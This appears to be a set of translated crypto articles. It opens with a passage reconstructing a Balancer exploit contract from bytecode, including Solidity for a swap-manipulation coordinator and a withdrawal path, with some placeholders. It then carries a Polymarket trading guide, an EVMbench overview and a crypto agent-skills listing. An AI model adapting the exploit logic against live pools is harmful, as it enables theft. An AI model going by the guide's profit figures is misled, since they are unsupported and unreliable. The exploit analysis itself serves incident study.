而这正是缺失的一环。更大的合约不仅读取池状态并执行交换操作，它还在反复探测一个辅助函数，该函数似乎在评估接近算术边界的候选值。即便没有任何公开的记录，我认为在黑客攻击发生之前，合理的结论应该是：这看起来像是一个专门用于在 Balancer 池中寻找有利可图或不稳定状态的研究或攻击工具。

8、交易数据比我预期的更有帮助

GPT 获取的最有用的信息之一是提取交易。

选择器 0x8a4f75d6 的调用数据解码得非常清晰：

address[] pools = [
  0xdacf5fa19b1f720111609043ac67a9818262850c,
  0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd
]

这立刻让我意识到，某个自定义函数并非抽象的池数学运算入口点，而是一个仅限所有者使用的函数，用于遍历池地址。

GPT 追踪了该函数的内部执行过程后，其结构显而易见：设置当前池，获取池 ID，获取池地址。从金库中取出 ool 代币，读取合约中这些资产的内部余额，构建 UserBalanceOp[]，调用 manageUserBalance(...)，然后将余额从金库中取出。换句话说，它看起来像是一条提取路径。

这正是能够将模糊的重构转化为可靠的重构的关键线索，因为此时合约不再像是一个无害的分析辅助工具，而更像是一个包含设置阶段、操作阶段和提现阶段的系统。

9、重构未知的自定义函数

并非所有选择器都存在于公共数据库中，因此 GPT 必须从精确匹配转向基于调用数据形状、存储效果和控制流的推断。

三个重要的未知数是 0x8a4f75d6、0x60e087db 和 0x77e0735d。

0x8a4f75d6 最容易找到，因为提取交易直接调用了它。这让我得以将其大致重构为：

function fn_0x8a4f75d6(address[] calldata pools) external onlyOwner

另外两个函数看起来像是两种不同的场景运行器，每个都大致接受 (address,uint256,uint256,address,uint256,uint256) 参数。GPT 的最佳解读是，其中一个运行场景 A，并可选择性地运行场景 B；而另一个则缓存场景 B，并先运行场景 A。

这不足以恢复原始名称，但足以恢复其行为角色，而在逆向工程中，这通常是更重要的里程碑。

10、内部例程才是真正的核心

经过足够的追踪，这个庞大的内部例程不再神秘，而是开始呈现出过程式的特征。它首先设置当前池上下文，并读取大量 Balancer 元数据：池 ID、BPT 索引、缩放因子、费率提供商、实际供应量、放大倍数、交换费和费率。然后，它将池代币批准到金库，构建了似乎排除或特殊处理 BPT 仓位的内部数组，并反复调用辅助函数并传入候选值。

只有在完成所有这些步骤之后，它才构建了 BatchSwapStep[]、资产和限额，然后执行精心构造的 batchSwap(...)。调试字符串表明，它随后测量或发出了围绕池费率、选定的“技巧”金额和索引、当前放大倍数、初始余额、最终余额、资产增量以及某种最终不变性概念的值。最后，在后续阶段，可以通过内部余额提取价值。

11、我对合约的真正理解

我最终的解释，仅基于 GPT-5.4 从字节码和它提取的链上证据中重建的内容，是这个更大的合约不仅仅是一个专门构建的 Balancer 协调器。更具体地说，它看起来像是一个已部署的模糊测试或不变性测试装置的后代，并且已经发展成为某种可运行的程序。

Foundry 风格的接口是我开始这样思考的第一个原因。辅助合约是第二个原因。提取路径是第三个原因。综合起来，整个系统看起来不像是一个干净利落、仅针对最终交易编写的最小化漏洞利用合约。它更像是研究基础设施，在已部署的工件中仍然可见。

这并不一定意味着攻击者部署了他们在本地使用的完全相同的模糊测试框架。我认为更谨慎的说法是：他们很可能通过模糊测试、不变性测试或对抗性实验发现了攻击或对其进行了改进，而已部署的合约仍然保留了许多脚手架。换句话说，它看起来不像是一个精心打磨的最终有效载荷，而更像是最初帮助他们发现漏洞的工具的武器化后代。

12、存储布局

这是最实用的布局，而不是精确的编译器映射。

// Foundry invariant harness state
address[] excludeSenders;          // slot 0x15
address[] targetSenders;           // slot 0x16
address[] targetContracts;         // slot 0x17
address[] excludeContracts;        // slot 0x18
string[]  targetArtifacts;         // slot 0x19
string[]  excludeArtifacts;        // slot 0x1a
// slot 0x1b..0x1e: selector/interface config arrays

// packed owner + test flag
address owner;                     // packed in slot 0x1f
bool isTest;                       // packed in slot 0x1f

// exploit-specific state
address helper;                    // slot 0x21
address vault;                     // slot 0x22
address currentPool;               // slot 0x23
bytes32 currentPoolId;             // slot 0x24
uint256 bptIndex;                  // slot 0x25
uint256 trickIndex;                // slot 0x26, likely
uint256 derivedAmount;             // slot 0x27
uint256 derivedAmount2;            // slot 0x28
uint256 mode;                      // slot 0x29
uint256 currentAmp;                // slot 0x2a
uint256 trickRate;                 // slot 0x2b, likely
uint8[] nonBptFlags;               // slot 0x2c
// slot 0x2e..0x30: batchSwap / fund management config
uint256 scenarioParam1;            // slot 0x31
uint256 scenarioParam2;            // slot 0x32
uint256 tokenCountExcludingBpt;    // slot 0x33
uint256 base;                      // slot 0x34 = 2
uint256 width;                     // slot 0x35 = 4
uint256 groupSize;                 // slot 0x36 = 3

bool hasDeferredScenario;          // slot 0x39
address deferredPool;              // slot 0x3a
uint256 deferredParam1;            // slot 0x3b
uint256 deferredParam2;            // slot 0x3c

13、辅助合约重构

pragma solidity 0.7.6;

contract BalancerMathProbe {
    address public auth0;
    address public auth1;

    modifier onlyAuthorized() {
        require(msg.sender == auth0 || msg.sender == auth1, "X");
        _;
    }

    // Parameter names are reconstructed from behavior and public writeups.
    function fn_0x524c9e20(
        uint256[] calldata scalingFactors,
        uint256[] calldata balances,
        uint256 indexIn,
        uint256 indexOut,
        uint256 amountGiven,
        uint256 ampLike,
        uint256 swapFeeLike
    ) external view onlyAuthorized returns (uint256) {
        uint256[] memory scaled = new uint256[](scalingFactors.length);
        for (uint256 i = 0; i < scalingFactors.length; i++) {
            scaled[i] = balances[i] * scalingFactors[i] / 1e18;
        }

        uint256 invariantish = _computeInvariantish(ampLike, scaled);
        uint256 manipulated = _computeManipulatedOutput(
            scaled,
            indexIn,
            indexOut,
            amountGiven,
            invariantish,
            swapFeeLike
        );

        return manipulated;
    }

    // Internal helpers use checked math and may revert with BAL#004.
}

14、主合约重构

pragma solidity 0.7.6;

interface IERC20 {
    function approve(address spender, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
}

interface IVault {
    struct BatchSwapStep {
        bytes32 poolId;
        uint256 assetInIndex;
        uint256 assetOutIndex;
        uint256 amount;
        bytes userData;
    }

    struct FundManagement {
        address sender;
        bool fromInternalBalance;
        address payable recipient;
        bool toInternalBalance;
    }

    struct UserBalanceOp {
        uint8 kind;
        address asset;
        uint256 amount;
        address sender;
        address payable recipient;
    }

    function getPoolTokens(bytes32 poolId)
        external
        view
        returns (address[] memory tokens, uint256[] memory balances, uint256 lastChangeBlock);

    function getInternalBalance(address user, address[] memory tokens)
        external
        view
        returns (uint256[] memory balances);

    function manageUserBalance(UserBalanceOp[] memory ops) external;

    function batchSwap(
        uint8 kind,
        BatchSwapStep[] memory swaps,
        address[] memory assets,
        FundManagement memory funds,
        int256[] memory limits,
        uint256 deadline
    ) external returns (int256[] memory assetDeltas);
}

interface IComposableStablePool {
    function getPoolId() external view returns (bytes32);
    function getBptIndex() external view returns (uint256);
    function getScalingFactors() external view returns (uint256[] memory);
    function getRateProviders() external view returns (address[] memory);
    function getActualSupply() external view returns (uint256);
    function getAmplificationParameter() external view returns (uint256, bool, uint256);
    function getSwapFeePercentage() external view returns (uint256);
    function getRate() external view returns (uint256);
}

interface IProbeHelper {
    function fn_0x524c9e20(
        uint256[] calldata scalingFactors,
        uint256[] calldata balances,
        uint256 indexIn,
        uint256 indexOut,
        uint256 amountGiven,
        uint256 ampLike,
        uint256 swapFeeLike
    ) external returns (uint256);
}

contract BalancerCoordinatorLike {
    address public owner;
    bool public IS_TEST;

    address public helper;
    address public vault;
    address public currentPool;
    bytes32 public currentPoolId;
    uint256 public bptIndex;

    bool internal hasDeferredScenario;
    address internal deferredPool;
    uint256 internal deferredP1;
    uint256 internal deferredP2;

    modifier onlyOwner() {
        require(msg.sender == owner, "not owner");
        _;
    }

    receive() external payable {}

    // Exact selector known.
    function callTx(address to, uint256 value, bytes calldata data) external onlyOwner {
        (bool ok,) = to.call{value: value}(data);
        require(ok, "raw call failed");
    }

    // Foundry test helper.
    function failed() external returns (bool) {
        // Falls back to hevm.load(...) in test mode.
        return false;
    }

    // Custom selector 0x60e087db
    function fn_0x60e087db(
        address pool0,
        uint256 p10,
        uint256 p20,
        address pool1,
        uint256 p11,
        uint256 p21
    ) external onlyOwner {
        hasDeferredScenario = true;
        deferredPool = pool1;
        deferredP1 = p11;
        deferredP2 = p21;

        _runScenario(pool0, p10, p20);
    }

    // Custom selector 0x77e0735d
    function fn_0x77e0735d(
        address pool0,
        uint256 p10,
        uint256 p20,
        address pool1,
        uint256 p11,
        uint256 p21
    ) external onlyOwner {
        _runScenario(pool0, p10, p20);
        if (pool1 != address(0)) {
            _runScenario(pool1, p11, p21);
        }
    }

    // Exact calldata shape confirmed by extraction tx.
    function fn_0x8a4f75d6(address[] calldata pools) external onlyOwner {
        for (uint256 i = 0; i < pools.length; i++) {
            currentPool = pools[i];
            currentPoolId = IComposableStablePool(pools[i]).getPoolId();

            (address[] memory tokens,,) = IVault(vault).getPoolTokens(currentPoolId);
            uint256[] memory internalBalances = IVault(vault).getInternalBalance(address(this), tokens);

            IVault.UserBalanceOp[] memory ops = new IVault.UserBalanceOp[](tokens.length);
            for (uint256 j = 0; j < tokens.length; j++) {
                ops[j] = IVault.UserBalanceOp({
                    kind: 1,
                    asset: tokens[j],
                    amount: internalBalances[j],
                    sender: address(this),
                    recipient: payable(address(this))
                });
            }

            IVault(vault).manageUserBalance(ops);

            // The real bytecode emits many debug logs here and checks post-withdraw balances.
            for (uint256 j = 0; j < tokens.length; j++) {
                IERC20(tokens[j]).balanceOf(address(this));
            }
        }
    }

    function _runScenario(address pool, uint256 p1, uint256 p2) internal {
        currentPool = pool;
        // Likely Foundry-style debug instrumentation preserved in deployment.
        // In real source this may have been `console.log(...)` from forge-std.
        console.log("Pool", pool);
        console.log("Start.");
        currentPoolId = IComposableStablePool(pool).getPoolId();
        bptIndex = IComposableStablePool(pool).getBptIndex();

        (address[] memory tokens, uint256[] memory startBalances,) = IVault(vault).getPoolTokens(currentPoolId);
        for (uint256 i = 0; i < tokens.length; i++) {
            console.log("mytoken i", tokens[i]);
            IERC20(tokens[i]).approve(vault, type(uint256).max);
        }

        uint256[] memory scalingFactors = IComposableStablePool(pool).getScalingFactors();
        address[] memory rateProviders = IComposableStablePool(pool).getRateProviders();
        uint256 actualSupply = IComposableStablePool(pool).getActualSupply();
        (uint256 amp,,) = IComposableStablePool(pool).getAmplificationParameter();
        uint256 swapFee = IComposableStablePool(pool).getSwapFeePercentage();
        uint256 poolRate = IComposableStablePool(pool).getRate();
        console.log("currentAmp", amp);

        // poolRate0 / poolRate1 most likely correspond to the primary and
        // secondary scenario when two pools are being driven in one run.
        if (hasDeferredScenario) {
            console.log("poolRate0", poolRate);
        } else {
            console.log("poolRate1", poolRate);
        }

        // Real bytecode derives several indices and builds a compact flag array excluding the BPT.
        // It also chooses one "trick" index and one "nonTrick" index.
        uint256 trickIndex = _guessIndexIn();
        uint256 nonTrickIndex = _guessIndexOut();
        console.log("trickIndex", trickIndex);
        console.log("nonTrickIndex", nonTrickIndex);

        uint256[] memory candidateAmts = _buildCandidateAmounts(tokens.length, p1, p2);
        if (candidateAmts.length > 0) {
            console.log("trickAmt", candidateAmts[0]);
        }

        // Probe helper repeatedly with different candidates.
        uint256 lastProbe;
        for (uint256 i = 0; i < candidateAmts.length; i++) {
            lastProbe = IProbeHelper(helper).fn_0x524c9e20(
                scalingFactors,
                _readPoolBalances(currentPoolId),
                trickIndex,
                nonTrickIndex,
                candidateAmts[i],
                amp,
                swapFee
            );
        }
        console.log("trickRate", lastProbe);

        // Construct batch swaps.
        IVault.BatchSwapStep[] memory steps = _buildSwapSteps(candidateAmts);
        address[] memory assets = tokens;
        int256[] memory limits = _buildLimits(assets.length);

        IVault.FundManagement memory funds = IVault.FundManagement({
            sender: address(this),
            fromInternalBalance: false,
            recipient: payable(address(this)),
            toInternalBalance: true
        });

        console.log("Doing Batch");
        IVault(vault).batchSwap(
            1,
            steps,
            assets,
            funds,
            limits,
            block.timestamp
        );

        // These labels likely sat in loops over balances / deltas after the swap.
        uint256[] memory endBalances = _readPoolBalances(currentPoolId);
        for (uint256 i = 0; i < endBalances.length; i++) {
            console.log("startBalancesi", startBalances[i]);
            console.log("end__balances[i]", endBalances[i]);
            if (endBalances[i] >= startBalances[i]) {
                console.log("Asset Deltasi", endBalances[i] - startBalances[i]);
            } else {
                console.log("Asset Deltasi", startBalances[i] - endBalances[i]);
            }
            console.log("mybal i", IERC20(tokens[i]).balanceOf(address(this)));
        }

        // If fn_0x60e087db cached a second scenario, append or run it after the current one.
        if (hasDeferredScenario) {
            hasDeferredScenario = false;
            address nextPool = deferredPool;
            uint256 nextP1 = deferredP1;
            uint256 nextP2 = deferredP2;
            deferredPool = address(0);
            deferredP1 = 0;
            deferredP2 = 0;
            _runScenario(nextPool, nextP1, nextP2);
        }

        // "Ending Invariant" likely logged after all state comparisons.
        console.log("Ending Invariant", _computeInvariantLike(endBalances, amp));
        actualSupply;
        rateProviders;
        poolRate;
    }

    function _readPoolBalances(bytes32 poolId) internal view returns (uint256[] memory balances) {
        (, balances,) = IVault(vault).getPoolTokens(poolId);
    }
...

    function _buildCandidateAmounts(uint256 n, uint256 p1, uint256 p2)
        internal
        pure
        returns (uint256[] memory out)
    {
        out = new uint256[](n);
        for (uint256 i = 0; i < n; i++) {
            out[i] = p1 + p2 + i;
        }
    }

    function _buildSwapSteps(uint256[] memory candidateAmts)
        internal
        view
        returns (IVault.BatchSwapStep[] memory out)
    {
        out = new IVault.BatchSwapStep[](candidateAmts.length);
        for (uint256 i = 0; i < candidateAmts.length; i++) {
            out[i] = IVault.BatchSwapStep({
                poolId: currentPoolId,
                assetInIndex: 0,
                assetOutIndex: 1,
                amount: candidateAmts[i],
                userData: ""
            });
        }
    }

    function _buildLimits(uint256 n) internal pure returns (int256[] memory out) {
        out = new int256[](n);
    }

    function _guessIndexIn() internal pure returns (uint256) {
        return 0;
    }

    function _guessIndexOut() internal pure returns (uint256) {
        return 1;
    }

    function _computeInvariantLike(uint256[] memory balances, uint256 amp)
        internal
        pure
        returns (uint256)
    {
        // Placeholder for the stable-invariant-like value the bytecode seemed to track.
        balances;
        return amp;
    }
}

原文链接：Decompiling bytecode with GPT-5.4

DefiPlot翻译整理，转载请标明出处

2026年的Polymarket不再只是投机者的乐园

它正悄然成为量化交易的战场，专业基金将像在期权和期货市场一样，在这里攫取优势

如果你没有交易框架就进行交易，那么你就是那92%的失败者之一

在本指南中，你将看到对冲基金用来系统性地从预测市场中获利的六大核心公式，以及散户交易者如何才能切实有效地复制其中至少一部分策略

1、LMSR定价模型（Polymarket的核心引擎）

LMSR（对数市场评分规则）是Polymarket定价的驱动力，它将流动性转化为有界概率（0-1）。量化分析师利用该模型预测交易影响并发现低流动性资金池中的定价偏差（b 参数越小，优势越大）。

公式：Price_i = e^{q_i / b} / Σ e^{q_j / b}

（其中 q 为结果的数量向量，b 为流动性深度）

示例：

在比特币 5 分钟涨跌市场（交易量 3600 万美元）中，假设 b=100 且初始 q_yes=0，买入 10 股 YES 股票会使价格上涨约 5%。量化分析师在其他人之前预先计算此值以进行套利

代码/作业：

import sympy as sp
import matplotlib.pyplot as plt
import numpy as np

b = 100
q_yes = sp.symbols('q_yes')
price_yes = sp.exp(q_yes / b) / (sp.exp(q_yes / b) + sp.exp(0 / b))  # Binary market
price_func = sp.lambdify(q_yes, price_yes)

qs = np.linspace(0, 1000, 100)
prices = price_func(qs)
plt.plot(qs, prices)
plt.xlabel('Quantity Bought')
plt.ylabel('Price')
plt.title('LMSR Pricing Curve')
plt.show()

运行此代码以查看结果曲线作业：使用 API 获取的真实 Polymarket b 值进行测试

风险：在资金池较小（b<50）的情况下，鲸鱼可能会操纵交易；务必检查交易量

优势：在波动性较大的市场（例如电子竞技，交易量达 200 万美元）中，每日冲击套利可获利 500 美元以上

2、凯利准则（长期增长的最优规模）

避免孤注一掷——凯利准则最大化几何增长，被所有大型对冲基金（如 Renaissance、Two Sigma）用于在复利增长的同时避免破产

公式：f* = (p * 赔率 - (1-p)) / 赔率（其中 p 是你的优势概率，赔率 = 1/价格 - 1）。波动率使用分数（0.25-0.5）

示例：对于 2028 年 JD Vance 的获胜者（赔率为 21%，你的模型 p=25%，来自民意调查/X 情绪），f*=0.1 倍资金。顶级钱包通过对冲此策略获利超过 20 万美元

图表：

（此图显示了增长曲线：峰值位于 f*，之后急剧下降，风险极高。）

代码/作业：

import numpy as np

def kelly(p, odds):
    return (p * odds - (1 - p)) / odds

p = 0.25  # Your edge
odds = (1 / 0.21) - 1  # From market price
f_star = kelly(p, odds)
print(f"Optimal fraction: {f_star:.2f}")

# Simulate growth
bankrolls = [1]
for _ in range(100):
    outcome = np.random.rand() < p
    bankrolls.append(bankrolls[-1] * (1 + f_star * odds if outcome else 1 - f_star))

作业：对 50 个历史 Polymarket 分辨率进行回测

风险：高估 p → 破产；为了安全起见，始终减半

优势：通过持续进行正期望值 (+EV) 押注，在 2026 年第一季度将 1000 美元变成 15 万美元

3、期望值 (EV) 缺口（核心定价错误检测器）

仅当您的模型预测概率高于市场预测概率时才进行押注——量化分析师会扫描数千份合约以寻找缺口

公式：EV = (真实概率 - 价格) * 收益

（收益 = 1/价格；扣除费用后，如果 EV > 0.05 则入场）

示例：伊朗停火市场（价格为 47%，您的基于新闻的模型预测为 52%）→ 500 万美元交易量下的 EV 为 0.08，易于套利

图表：

（EV 缺口直方图：大部分接近于零，尾部显示正期望值机会。）

代码/作业：

import pandas as pd
# Assume df with 'market_price' and 'model_p'
df['ev'] = (df['model_p'] - df['market_price']) * (1 / df['market_price'])
opps = df[df['ev'] > 0.05]
print(opps)

作业：提取 10 个市场的 Polygon 数据，计算你的 model_p（例如，平均民调值）。

风险：模型不准确；使用前瞻性测试进行验证

优势：每日收益 300 美元以上，使用 2000 美元资金扫描地理/政治市场

4、KL 背离（相关性定价错误扫描器）

衡量相关市场概率分布之间的“距离”——低 KL 值表示套利

公式：D_KL(P||Q) = Σ P_i log(P_i / Q_i)

（P/Q 为概率向量；若 >0.2 则为套利）

示例：Vance (21%) 和 Newsom (17%) 2028 年高 KL 值 → 对冲投资组合，提取 10 万美元。

图表：

代码/作业：

from scipy.stats import entropy
p = [0.21, 0.79]  # Vance yes/no
q = [0.17, 0.83]  # Newsom
kl = entropy(p, q)
print(f"KL: {kl:.2f}")

作业：计算 5 个相关的 PM 对

风险：低成交量市场中的噪声会导致错误信号

优势：多元化投资可带来 15% 的投资组合收益提升

5、Bregman 投影（多结果套利优化器）

用于扫描指数组合 (2^63) 的常用方法，通过投影到概率多面体上实现无风险

公式：min D_φ(μ||θ) 受约束条件约束

（φ 为凸函数，通常为 KL 函数；求解套利边际分布）

示例：奥斯卡最佳影片多结果（《罪人》） 15%)-预测点不一致，2100万美元波动率套利

图表：

（收敛：x轴迭代次数，y轴目标值递减次数，50-150步。）

代码/作业：

import cvxpy as cp
mu = cp.Variable(2)  # Binary example
theta = [0.5, 0.5]
obj = cp.kl_div(mu[0], theta[0]) + cp.kl_div(mu[1], theta[1])
constraints = [cp.sum(mu) == 1, mu >= 0]
prob = cp.Problem(cp.Minimize(obj), constraints)
prob.solve()
print(mu.value)

作业：扩展到 3 个或更多结果

风险：高计算；为了提高速度，使用近似值

优势：平均每笔交易盈利 496 美元，下行风险接近于零

6、贝叶斯更新（动态概率调整）

根据新证据更新信念——在快速变化的市场中优于静态模型

公式：P(H|E) = P(E|H) * P(H) / P(E)

（H 为假设，E 为证据，例如推文/民意调查）

示例：埃隆·马斯克 #tweets 市场（成交量 200 万美元）——先验概率 50% + 热点证据 → 后验概率 65%，+EV 投注

图表：

（时间序列：概率随时间推移而变化，例如，事件发生后概率从 10% 上升到 34%。）

代码/作业：

from scipy import stats
prior = stats.beta(1,1)  # Uniform
likelihood = 0.7  # Evidence strength
posterior = prior.pdf(0.65) * likelihood  # Simplify; use full update

作业：使用真实市场 X 数据进行更新

风险：不良证据会干扰输出

优势：在波动性较大的地理/新闻市场中准确率提升 12%

7、系统复现：构建你的量化机器人

数据设置：获取 Polygon API 密钥以获取实时 PM 赔率/波动率

集成：Python 环境，并根据需要安装 numpy、scipy 和 cvxpy

回测：使用 2025 年数据进行前瞻性测试；计算信号的 EV/KL 值

部署：使用 Railway/Github 进行定时任务；使用 Telegram 发送警报

风险管理：分数凯利指标，20% 回撤止损

8、风险与现实检验

过拟合会导致模型失效——始终进行样本外测试。费用（1-2%）会削弱微小的优势。2026 年的市场机制转变（例如，更高的波动率）会使模型失效。道德提示：押注战争等敏感事件——务必谨慎。目标是夏普比率大于 1.5，而非追求高风险高回报。

9、结论与后续步骤

本指南将 Polymarket 打造成您的个人量化引擎。对冲基金赚得盆满钵满；有了这些公式，您可以从 1000 美元起步。从小额投资开始，并进行严格的回测。

原文链接：The Quant Playbook for Polymarket: 6 Formulas Hedge Funds Use to Extract Millions in 2026

DefiPlot翻译整理，转载请标明出处

智能合约驱动去中心化金融（DeFi）、NFT 生态系统、DAO、稳定币和无数其他区块链应用。这些合约运行在**以太坊虚拟机（EVM）**上，一旦部署就会自动执行——通常无法修改。

这种不可变性既是优势，也是风险。

历史上，智能合约漏洞已导致数百万（有时是数十亿）美元的损失。随着 AI 系统变得更加自主，能够扫描代码库、执行交易并推理经济激励，评估它们的现实安全影响变得紧迫。

EVMbench 的创建是为了回答一个关键问题：

AI 代理在现实区块链环境中检测、修补和利用真实智能合约漏洞的能力如何？

来源：EVMBench

1、什么是 EVMbench？

EVMbench 是一个综合评估框架，旨在衡量在 EVM 兼容环境中运行的 AI 代理的智能合约安全能力。

与测试孤立的编码问题不同，EVMbench 模拟真实的审计场景。它包括从竞争性审计中精选的高严重性漏洞，并在三种不同模式下评估 AI 系统：

1. 检测模式

AI 能否审计智能合约代码库并正确识别资金丢失漏洞？

2. 修补模式

AI 能否修改代码以修复漏洞，同时保持功能？

3. 利用模式

AI 能否在实时本地区块链实例上成功执行端到端的利用？

这种三层结构使 EVMbench 不仅仅是一个静态基准——它是 AI 安全能力的动态、对抗性测试场。

2、为什么 EVMbench 很重要

1. 现实环境

与理论安全基准不同，EVMbench 让代理对抗实时本地以太坊实例。利用必须实际改变链上状态才算成功。

2. 确定性评估

因为区块链状态是确定性的，评分是程序化的和可验证的。成功通过余额变化、事件日志和状态转换来衡量。

3. 全生命周期覆盖

大多数基准仅测试检测。EVMbench 评估：

• 发现
• 修复
• 利用

这种整体方法反映了现实世界的智能合约审计。

4. 经济相关性

全球智能合约价值超过 1000 亿美元，AI 安全地与区块链基础设施交互的能力具有直接的经济影响。

3、EVMbench 的核心优势

以下是开发者、研究人员和安全专业人员关注它的原因：

✔ 衡量真正的 AI 安全能力

不仅仅是模式匹配——跨代码库的真实推理。

✔ 程序化评分

消除评估中的主观人类偏见。

✔ 实时利用验证

如果资金没有移动，利用就没有发生。

✔ 支持负责任的 AI 部署

帮助跟踪先进的 AI 系统在高风险金融环境中的表现。

✔ 开放研究框架

鼓励对 AI 驱动的安全自动化进行进一步研究。

4、结束语

EVMbench 代表了我们在高风险金融环境中评估 AI 的关键转变。

通过结合：

• 真实漏洞
• 确定性区块链评分
• 端到端利用验证
• 修补验证

……它为 AI 安全评估设定了新的标准。

随着智能合约继续在全球保护数十亿美元，问题不再是 AI 是否会与区块链系统交互——而是它将如何安全有效地这样做。

EVMbench 为我们提供了回答这个问题的数据。

在一个单行代码就能移动数百万的世界里，这种衡量很重要。

原文链接: EVMbench: The New Standard for Evaluating AI in Smart Contract Security

DefiPlot翻译整理，转载请标明出处

Crypto Skills提供了一系列专注于加密货币和区块链操作的专业AI代理技能。这些技能增强了AI代理与各种区块链网络交互、查询市场数据以及执行加密相关任务的能力。

1、安装

使用Skills CLI安装这些技能：

npx skills add kukapay/crypto-skills

或者，您可以安装单个技能：

npx skills add kukapay/crypto-skills - skill "evm-swiss-knife"

此命令将下载并配置AI代理所需的加密技能。

有关Skills CLI的更多信息，请访问 https://skills.sh/docs/cli。

2、当前包含的技能

2.1 EVM Swiss Knife

evm-swiff-knife 是一个用于使用Foundry的cast命令行工具与以太坊虚拟机（EVM）兼容区块链进行交互的综合技能。支持：

• 账户余额查询
• 合约函数调用（读/写）
• 交易发送
• 区块链检查
• 合约部署
• 数据解码

这项技能使 AI 代理能够在多个 EVM 网络（例如以太坊、Polygon、BNB 智能链等）上执行底层区块链操作。

2.2 Market Sentiment

market-sentiment 技能通过聚合来自热门 RSS 源的新闻并进行情绪分析，来分析加密货币市场情绪。支持：

• 聚合来自多个加密货币新闻源的 RSS 源
• 自动情绪分类（正面/负面/中性）
• 市场情绪评分（范围：-1 到 +1）
• 基于证据的解释和文章分析

这项技能帮助 AI 代理评估整体市场情绪，以辅助交易决策、研究和趋势监控。

2.3 Meme Scout

meme-scout 技能用于在 DexScreener 等 DEX 平台上发现热门的 Meme 币。支持：

• 发现多时间周期（5分钟、1小时、6小时、24小时）的热门代币
• 分析价格走势、交易量数据和风险评估
• 针对Solana和其他链上的特定代币进行风险检查

此技能使AI代理能够识别和评估热门的模因币，用于交易和研究。

2.4 Token Minter

token-minter 是一个用于在EVM网络上生成、构建和部署自定义ERC20代币的综合技能。支持：

• 自定义代币参数（名称、符号、小数位数、初始供应量）
• 使用OpenZeppelin标准自动生成Solidity合约
• Foundry项目设置和依赖项管理
• 合约编译和部署到各种网络
• 支持Sepolia等测试网

此技能使AI代理能够创建和部署自定义ERC20代币，并完全控制代币参数和部署目标。

2.5 Trading Strategist

通过结合币安市场数据、技术分析指标和市场情绪分析，生成加密货币交易策略。支持：

• 来自币安 API 的实时价格和历史数据
• 技术指标（SMA、EMA、RSI、布林带、MACD、随机指标）
• 集成市场情绪评分
• 提供包含入场/出场点和风险管理的策略建议
• 支持主流加密货币，例如 BTC、ETH、BNB

该技能使 AI 代理能够提供数据驱动的交易建议和策略分析。

https://github.com/kukapay/crypto-skills

加密货币市场高度波动且复杂，使得开发一致的高收益交易策略具有挑战性[1][2]. 人工智能的最新进展，特别是大型语言模型（LLMs）和多代理系统，有望通过结合特定领域的知识和自动化决策来增强交易[3][4].

本文介绍了代理技能的概念——模块化、可共享的指令和代码包，旨在赋予AI代理专业能力[5] ——并探讨这些技能如何增强自动化加密货币交易策略。我们首先回顾了加密货币交易的困难和先前的机器学习方法，指出传统技术规则的混合成功[2] 和深度学习模型的有希望的结果[6][7]. 然后我们解释了Anthropic定义的Agent Skills：结构化的文件夹，包含元数据、指南和可执行工具，代理可以在需要时动态加载[8][9].

接下来，我们提出了一个 Crypto Trading Skill 可能的构建方式——例如，捆绑交易启发法、Python 回测脚本、市场 API 和风险管理规则——这样代理就可以使用它们来生成和评估策略。我们用一个假设的多代理框架（如下图所示）来说明这一点，在该框架中，专门的代理（例如基本面分析师、技术分析师、风险评估师）各自使用相关的技能[10][11]. 实证和理论支持表明这种模块化专业化可以提高性能：例如，TradingAgents 系统使用多个 LLM 驱动的专家来提高基准模型的回报率和夏普比率[10]，并且最近多代理 LLM 框架在加密货币投资组合任务中超过了单代理基线[11]. 最后，我们讨论了这种方法的好处（知识的可扩展性、按需上下文、可重用代码）和挑战（数据质量、过拟合、安全）[12][13]. 我们得出结论，Agent Skills 为将程序化交易知识编码到 AI 代理中提供了一个有前景的范式，可能会导致更稳健和盈利的自动化加密货币交易策略。

1、引言

加密货币交易迅速增长，但仍充满风险和不可预测性。像比特币这样的市场在全球交易所全天候交易，并表现出极高的波动性[1]. 例如，单个加密货币价格可能在一个交易日内波动 10-50%，既创造了高回报的机会，也带来了急剧损失的危险[1][14]. 传统的交易方法在这个环境中常常难以应对：研究表明，应用于加密货币的简单技术交易规则通常无法超越买入并持有的策略[2]. 即使算法策略在回测中能够击败基准，交易成本或数据窥探也可能抵消收益[15][12]. 这个具有挑战性的环境促使探索先进的AI技术。

近年来，利用机器学习和人工智能进行金融交易的兴趣显著增加[14][7]. 大型语言模型（LLMs）和多模态AI可以吸收大量文本和数值数据，从新闻和社交媒体到历史价格图表，发现传统方法可能错过的模式[16][17]. 然而，LLMs本身并不是万能的：正如Anthropic所指出的，“Claude很强大，但真正的任务需要程序知识和组织背景”——这意味着复杂的任务通常需要超出模型一般知识的结构化、分步指导[5]. 这种矛盾导致了Agent Skills的开发，这是将特定领域专业知识注入基于LLM的代理的新范式。

Agent Skills 由 Anthropic 定义为“用于执行特定任务的指令、脚本和资源的组织文件夹”[5]. 本质上，技能就像特定任务的迷你程序或手册，AI 代理只在相关时访问。技能可能包含人工编写的指令（例如交易启发法）、代码模块（例如数据分析脚本），或外部工具的链接（例如市场数据API）[9]. 当代理的任务与技能的元数据匹配时，它可以按需加载技能的上下文和工具。这种“渐进披露”方法让代理处理比一次提示中所能容纳的信息更多[8].

在本文中，我们探讨了这种 Agent Skills 如何应用于加密货币交易。我们回顾了相关的 AI 交易研究，然后详细说明了 Crypto Trading Skill 可能的结构和使用方式。我们借鉴了最近的多代理 AI 框架用于金融[10][11]，以及 anthopic 的文档，认为基于技能的代理可以综合专业知识（技术分析、风险规则、实时数据）来制定高利润的交易策略。我们还讨论了这种方法的实施问题和潜在陷阱。

2、背景：加密货币中的 AI 和算法交易

加密货币带来了独特的交易挑战。与股票或商品不同，加密货币市场没有中央交易所或监管机构，全天开放，进入门槛相对较低[1][2]. 其波动性既是诅咒也是祝福：虽然价格波动创造了获利机会，但也放大了风险。如 Kochliaridis 等人所述，“加密货币市场……以巨大的波动性为特征”，这可能带来“巨大的赚钱机会，但也伴随着更高的风险”[1]. 这种不稳定环境意味着传统模型（基于均值回归或基本面估值）经常失效，甚至简单的技术指标（移动平均线、动量）经常给出错误信号[18][2].

